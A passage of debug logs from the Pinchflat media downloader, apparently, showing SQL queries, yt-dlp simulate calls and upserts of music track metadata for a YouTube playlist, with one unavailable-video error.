5, ~U[2020-09-17 10:06:06Z]] 22:20:26.516 [debug] QUERY OK source="settings" db=0.3ms idle=159.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:26.516 [debug] QUERY OK source="sources" db=0.4ms idle=159.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:26.518 [debug] QUERY OK source="settings" db=1.5ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:26.518 [debug] QUERY OK source="media_items" db=1.5ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-02 10:05:55Z], 5] 22:20:26.518 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lrN06b4byiM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ae/66/ae6676ffa1d59822c0ac3fdffd039682b8952170dda8949ab377478b5edf7e47.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:26.653 [debug] QUERY OK source="media_items" db=134.9ms idle=2.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by TuneCore\n\nThe Evening Hate · Red\n\nDeclaration\n\n℗ 2020 RED ENTERTAINMENT/The Fuel Music\n\nReleased on: 2020-04-03\n\nAuto-generated by YouTube.", "The Evening Hate", "d824ab3a-940d-4dbf-b89c-8d32eb32a5ab", false, "9ZQGB0kOfW8", 287, false, "https://www.youtube.com/watch?v=9ZQGB0kOfW8", 3, "/downloads/ChristianMetal/ChristianMetal/2020-04-02The Evening Hate[9ZQGB0kOfW8].NA", false, false, 5, [], 3, ~U[2020-04-02 10:05:55Z], ~U[2026-07-24 02:20:26Z], ~U[2026-07-24 02:20:26Z], "Provided to YouTube by TuneCore\n\nThe Evening Hate · Red\n\nDeclaration\n\n℗ 2020 RED ENTERTAINMENT/The Fuel Music\n\nReleased on: 2020-04-03\n\nAuto-generated by YouTube.", "The Evening Hate", "9ZQGB0kOfW8", 287, false, "https://www.youtube.com/watch?v=9ZQGB0kOfW8", "/downloads/ChristianMetal/ChristianMetal/2020-04-02The Evening Hate[9ZQGB0kOfW8].NA", false, 5, ~U[2020-04-02 10:05:55Z]] 22:20:26.654 [debug] QUERY OK source="sources" db=0.3ms idle=137.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:26.654 [debug] QUERY OK source="media_items" db=0.1ms idle=137.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-10-06 11:48:07Z], 5] 22:20:26.799 [debug] QUERY OK source="media_items" db=144.4ms idle=136.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nDeathgrip · Fit for a King\n\nDeathgrip\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-10-07\n\nAuto-generated by YouTube.", "Deathgrip", "30f2caa2-d3c2-4bdd-a17b-9d9b7a32f70e", false, "HUxq0YxIRls", 255, false, "https://www.youtube.com/watch?v=HUxq0YxIRls", 4, "/downloads/ChristianMetal/ChristianMetal/2016-10-06Deathgrip[HUxq0YxIRls].NA", false, false, 5, [], 2, ~U[2016-10-06 11:48:07Z], ~U[2026-07-24 02:20:26Z], ~U[2026-07-24 02:20:26Z], "Provided to YouTube by The Orchard Enterprises\n\nDeathgrip · Fit for a King\n\nDeathgrip\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-10-07\n\nAuto-generated by YouTube.", "Deathgrip", "HUxq0YxIRls", 255, false, "https://www.youtube.com/watch?v=HUxq0YxIRls", "/downloads/ChristianMetal/ChristianMetal/2016-10-06Deathgrip[HUxq0YxIRls].NA", false, 5, ~U[2016-10-06 11:48:07Z]] 22:20:26.799 [debug] QUERY OK source="sources" db=0.2ms idle=281.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:26.800 [debug] QUERY OK source="media_items" db=0.1ms idle=146.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-02 10:16:41Z], 5] 22:20:26.986 [debug] QUERY OK source="media_items" db=185.8ms idle=146.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nLighthouse · August Burns Red\n\nGuardians\n\n℗ 2020 Fearless Records\n\nReleased on: 2020-04-03\n\nRecording Engineer, Recording Producer, Producer, Studio Personnel, Mixer, Programmer: Carson Slovak\nAssociated Performer, Studio Personnel, Producer, Recording Producer, Mixer, Programmer, Recording Engineer: Grant McFarland\nAssociated Performer, Vocals: William Jacob Luhrs\nAssociated Performer: JB Brubaker\nAssociated Performer: Brent Rambler\nComposer, Bass Guitar, Associated Performer, Vocals: Dustin Davidson\nAuthor, Associated Performer, Drums: Matthew Greiner\n\nAuto-generated by YouTube.", "Lighthouse", "33b7ba4b-5f42-4f4f-88bf-4df5c37fb693", false, "ygU1tg3yjIg", 254, false, "https://www.youtube.com/watch?v=ygU1tg3yjIg", 5, "/downloads/ChristianMetal/ChristianMetal/2020-04-02Lighthouse[ygU1tg3yjIg].m4a", false, false, 5, [], 3, ~U[2020-04-02 10:16:41Z], ~U[2026-07-24 02:20:26Z], ~U[2026-07-24 02:20:26Z], "Provided to YouTube by Universal Music Group\n\nLighthouse · August Burns Red\n\nGuardians\n\n℗ 2020 Fearless Records\n\nReleased on: 2020-04-03\n\nRecording Engineer, Recording Producer, Producer, Studio Personnel, Mixer, Programmer: Carson Slovak\nAssociated Performer, Studio Personnel, Producer, Recording Producer, Mixer, Programmer, Recording Engineer: Grant McFarland\nAssociated Performer, Vocals: William Jacob Luhrs\nAssociated Performer: JB Brubaker\nAssociated Performer: Brent Rambler\nComposer, Bass Guitar, Associated Performer, Vocals: Dustin Davidson\nAuthor, Associated Performer, Drums: Matthew Greiner\n\nAuto-generated by YouTube.", "Lighthouse", "ygU1tg3yjIg", 254, false, "https://www.youtube.com/watch?v=ygU1tg3yjIg", "/downloads/ChristianMetal/ChristianMetal/2020-04-02Lighthouse[ygU1tg3yjIg].m4a", false, 5, ~U[2020-04-02 10:16:41Z]] 22:20:26.986 [debug] QUERY OK source="sources" db=0.2ms idle=332.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:26.987 [debug] QUERY OK source="media_items" db=0.1ms idle=187.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-04 17:18:36Z], 5] 22:20:27.025 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🎵 STREAM THIS SONG: https://ffm.to/colmleaveherjohnny\n\nThe legendary sea shanty from Assassin's Creed IV: Black Flag, reimagined by Colm R. McGuinness.\n\nOriginally featured in Ubisoft's Assassin's Creed IV: Black Flag, this newly synced version pairs Colm's full studio recording of Leave Her Johnny with beautifully remastered gameplay and cinematics from the game.\n\n✨ YOU CAN SUPPORT ME AT✨ https://ko-fi.com/colmmcguinness\n📢 TIKTOK: https://www.tiktok.com/@colrmcguinness\n📷 INSTAGRAM: https://www.instagram.com/colmrmcguinness\n🎵 SOUNDCLOUD: https://soundcloud.com/crmmusic\n🎶 BANDCAMP: https://colmmcguinness.bandcamp.com/\n\nEMAIL: colmmcguinnesscomposer@outlook.com\nBUSINESS ENQUIRIES: liam@bands.management\nVideo edited by Luke Perrett\n\n#assassinscreed #blackflag #leaveherjohnny #seashanty #colmrmcguinness", "duration" => 199, "filename" => "/downloads/Classics/Classics/2026-07-15Leave Her Johnny (Sea Shanty) | Assassin's Creed Black Flag Resynced[a1Rns6XzFwk].m4a", "id" => "a1Rns6XzFwk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=a1Rns6XzFwk", "playlist_index" => 16, "timestamp" => 1784134813, "title" => "Leave Her Johnny (Sea Shanty) | Assassin's Creed Black Flag Resynced", "upload_date" => "20260715"} 22:20:27.143 [debug] QUERY OK source="media_items" db=155.9ms idle=187.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nI Am · Theocracy\n\nAs the World Bleeds\n\n℗ Ulterium Records\n\nReleased on: 2011-11-25\n\nArtist: Theocracy\n\nAuto-generated by YouTube.", "I Am", "7f9af549-4cda-4bae-a95c-ed7399732db1", false, "vfc8EjDuYNw", 660, false, "https://www.youtube.com/watch?v=vfc8EjDuYNw", 6, "/downloads/ChristianMetal/ChristianMetal/2019-02-04I Am[vfc8EjDuYNw].m4a", false, false, 5, [], 3, ~U[2019-02-04 17:18:36Z], ~U[2026-07-24 02:20:26Z], ~U[2026-07-24 02:20:26Z], "Provided to YouTube by IIP-DDS\n\nI Am · Theocracy\n\nAs the World Bleeds\n\n℗ Ulterium Records\n\nReleased on: 2011-11-25\n\nArtist: Theocracy\n\nAuto-generated by YouTube.", "I Am", "vfc8EjDuYNw", 660, false, "https://www.youtube.com/watch?v=vfc8EjDuYNw", "/downloads/ChristianMetal/ChristianMetal/2019-02-04I Am[vfc8EjDuYNw].m4a", false, 5, ~U[2019-02-04 17:18:36Z]] 22:20:27.143 [debug] QUERY OK source="sources" db=0.4ms queue=117.1ms idle=226.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:27.144 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=157.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:27.144 [debug] QUERY OK source="sources" db=0.4ms idle=157.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:27.144 [debug] QUERY OK source="media_items" db=0.2ms idle=157.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-25 22:53:26Z], 5] 22:20:27.145 [debug] QUERY OK source="media_items" db=0.3ms idle=1.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-15 17:00:13Z], 2] 22:20:27.319 [debug] QUERY OK source="media_items" db=173.4ms queue=0.3ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nCollapsing (feat. Björn \"Speed\" Strid) · Demon Hunter\n\nThe World Is a Thorn\n\n℗ 2010 Solid State Records\n\nReleased on: 2013-06-01\n\nMusic Publisher: Beep I'm Gone, Beep I'm Back\nMusic Publisher: Spinning Audio Vortex\n\nAuto-generated by YouTube.", "Collapsing (feat. Björn \"Speed\" Strid)", "22daf380-9670-4c5e-a83e-cf723c3b6e3f", false, "-qTzjBAeTCQ", 219, false, "https://www.youtube.com/watch?v=-qTzjBAeTCQ", 7, "/downloads/ChristianMetal/ChristianMetal/2017-01-25Collapsing (feat. Björn "Speed" Strid)[-qTzjBAeTCQ].NA", false, false, 5, [], 5, ~U[2017-01-25 22:53:26Z], ~U[2026-07-24 02:20:27Z], ~U[2026-07-24 02:20:27Z], "Provided to YouTube by The Orchard Enterprises\n\nCollapsing (feat. Björn \"Speed\" Strid) · Demon Hunter\n\nThe World Is a Thorn\n\n℗ 2010 Solid State Records\n\nReleased on: 2013-06-01\n\nMusic Publisher: Beep I'm Gone, Beep I'm Back\nMusic Publisher: Spinning Audio Vortex\n\nAuto-generated by YouTube.", "Collapsing (feat. Björn \"Speed\" Strid)", "-qTzjBAeTCQ", 219, false, "https://www.youtube.com/watch?v=-qTzjBAeTCQ", "/downloads/ChristianMetal/ChristianMetal/2017-01-25Collapsing (feat. Björn "Speed" Strid)[-qTzjBAeTCQ].NA", false, 5, ~U[2017-01-25 22:53:26Z]] 22:20:27.319 [debug] QUERY OK source="sources" db=0.2ms idle=174.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:27.320 [debug] QUERY OK source="media_items" db=0.2ms idle=175.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-09-17 10:06:06Z], 5] 22:20:27.492 [debug] QUERY OK source="media_items" db=171.9ms idle=175.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nWhat A Beautiful Name · Seventh Day Slumber\n\nUnseen: The Lamb\n\n℗ 2020 Rockfest Records\n\nReleased on: 2020-09-18\n\nProducer: Jeremy Holderfield\nComposer Lyricist: Ben Fielding\nComposer Lyricist: Brooke Ligertwood\n\nAuto-generated by YouTube.", "What A Beautiful Name", "35b595fa-62af-49e6-b147-ce1f2a9c23bd", false, "TOIO3NgKMa4", 235, false, "https://www.youtube.com/watch?v=TOIO3NgKMa4", 8, "/downloads/ChristianMetal/ChristianMetal/2020-09-17What A Beautiful Name[TOIO3NgKMa4].m4a", false, false, 5, [], 2, ~U[2020-09-17 10:06:06Z], ~U[2026-07-24 02:20:27Z], ~U[2026-07-24 02:20:27Z], "Provided to YouTube by Universal Music Group\n\nWhat A Beautiful Name · Seventh Day Slumber\n\nUnseen: The Lamb\n\n℗ 2020 Rockfest Records\n\nReleased on: 2020-09-18\n\nProducer: Jeremy Holderfield\nComposer Lyricist: Ben Fielding\nComposer Lyricist: Brooke Ligertwood\n\nAuto-generated by YouTube.", "What A Beautiful Name", "TOIO3NgKMa4", 235, false, "https://www.youtube.com/watch?v=TOIO3NgKMa4", "/downloads/ChristianMetal/ChristianMetal/2020-09-17What A Beautiful Name[TOIO3NgKMa4].m4a", false, 5, ~U[2020-09-17 10:06:06Z]] 22:20:27.493 [debug] QUERY OK source="sources" db=0.4ms idle=173.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:27.493 [debug] QUERY OK source="media_items" db=0.1ms idle=173.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-25 23:55:58Z], 5] 22:20:27.656 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xSWL3L9FnQ4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/79/98/79989567621ac7d6c56e85042e7858f05d92f12152e53473992d96081635c953.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] xSWL3L9FnQ4: Video unavailable. This video is not available 22:20:27.656 [error] yt-dlp download error for media item #196: "ERROR: [youtube] xSWL3L9FnQ4: Video unavailable. This video is not available\n" 22:20:27.656 [error] yt-dlp download will not be retried: "ERROR: [youtube] xSWL3L9FnQ4: Video unavailable. This video is not available\n" 22:20:27.678 [debug] QUERY OK source="media_items" db=184.3ms idle=173.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nNo Lungs to Breathe · As I Lay Dying · Tim Lambesis · Nick Hipa · Phil Sgrosso · Josh Gilbert · Jordan Mancino\n\nAwakened\n\n℗ 2012 Metal Blade Records, Inc\n\nReleased on: 2012-09-25\n\nProducer: Bill Stevenson\nMusic Publisher: Frickin Thunfisch. Administered by BMG Rights Managment LLC\n\nAuto-generated by YouTube.", "No Lungs to Breathe", "10262874-cd49-48b6-bf42-1d3a215a0e88", false, "uJ_UfaNgZMI", 245, false, "https://www.youtube.com/watch?v=uJ_UfaNgZMI", 9, "/downloads/ChristianMetal/ChristianMetal/2017-01-25No Lungs to Breathe[uJ_UfaNgZMI].m4a", false, false, 5, [], 5, ~U[2017-01-25 23:55:58Z], ~U[2026-07-24 02:20:27Z], ~U[2026-07-24 02:20:27Z], "Provided to YouTube by The Orchard Enterprises\n\nNo Lungs to Breathe · As I Lay Dying · Tim Lambesis · Nick Hipa · Phil Sgrosso · Josh Gilbert · Jordan Mancino\n\nAwakened\n\n℗ 2012 Metal Blade Records, Inc\n\nReleased on: 2012-09-25\n\nProducer: Bill Stevenson\nMusic Publisher: Frickin Thunfisch. Administered by BMG Rights Managment LLC\n\nAuto-generated by YouTube.", "No Lungs to Breathe", "uJ_UfaNgZMI", 245, false, "https://www.youtube.com/watch?v=uJ_UfaNgZMI", "/downloads/ChristianMetal/ChristianMetal/2017-01-25No Lungs to Breathe[uJ_UfaNgZMI].m4a", false, 5, ~U[2017-01-25 23:55:58Z]] 22:20:27.678 [debug] QUERY OK source="sources" db=0.1ms idle=184.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:27.795 [info] {"args":{"id":196},"id":197,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2800502,"event":"job:stop","queue_time":9718045,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:27.845 [debug] QUERY OK source="media_items" db=50.1ms queue=116.0ms idle=0.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-07-02 16:41:26Z], 5] 22:20:27.846 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PL_trH6zRu85NdZYSMSgsUi8-gFZ0jEdXR --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4a/bc/4abc136bc86d0e1ce9cb76a894b73448081fe07bd36171d9eb52253a6a945ea0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:20:28.005 [debug] QUERY OK source="media_items" db=158.9ms idle=167.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nThe Price of Agony · Fit For A King\n\nDark Skies\n\n℗ 2018 Solid State Records\n\nReleased on: 2018-09-14\n\nAuto-generated by YouTube.", "The Price of Agony", "e5b5d6f9-47fc-45c4-acdd-3d2f66b78624", false, "kT3eHvwlytw", 288, false, "https://www.youtube.com/watch?v=kT3eHvwlytw", 10, "/downloads/ChristianMetal/ChristianMetal/2018-07-02The Price of Agony[kT3eHvwlytw].NA", false, false, 5, [], 1, ~U[2018-07-02 16:41:26Z], ~U[2026-07-24 02:20:27Z], ~U[2026-07-24 02:20:27Z], "Provided to YouTube by The Orchard Enterprises\n\nThe Price of Agony · Fit For A King\n\nDark Skies\n\n℗ 2018 Solid State Records\n\nReleased on: 2018-09-14\n\nAuto-generated by YouTube.", "The Price of Agony", "kT3eHvwlytw", 288, false, "https://www.youtube.com/watch?v=kT3eHvwlytw", "/downloads/ChristianMetal/ChristianMetal/2018-07-02The Price of Agony[kT3eHvwlytw].NA", false, 5, ~U[2018-07-02 16:41:26Z]] 22:20:28.005 [debug] QUERY OK source="sources" db=0.2ms idle=158.9ms 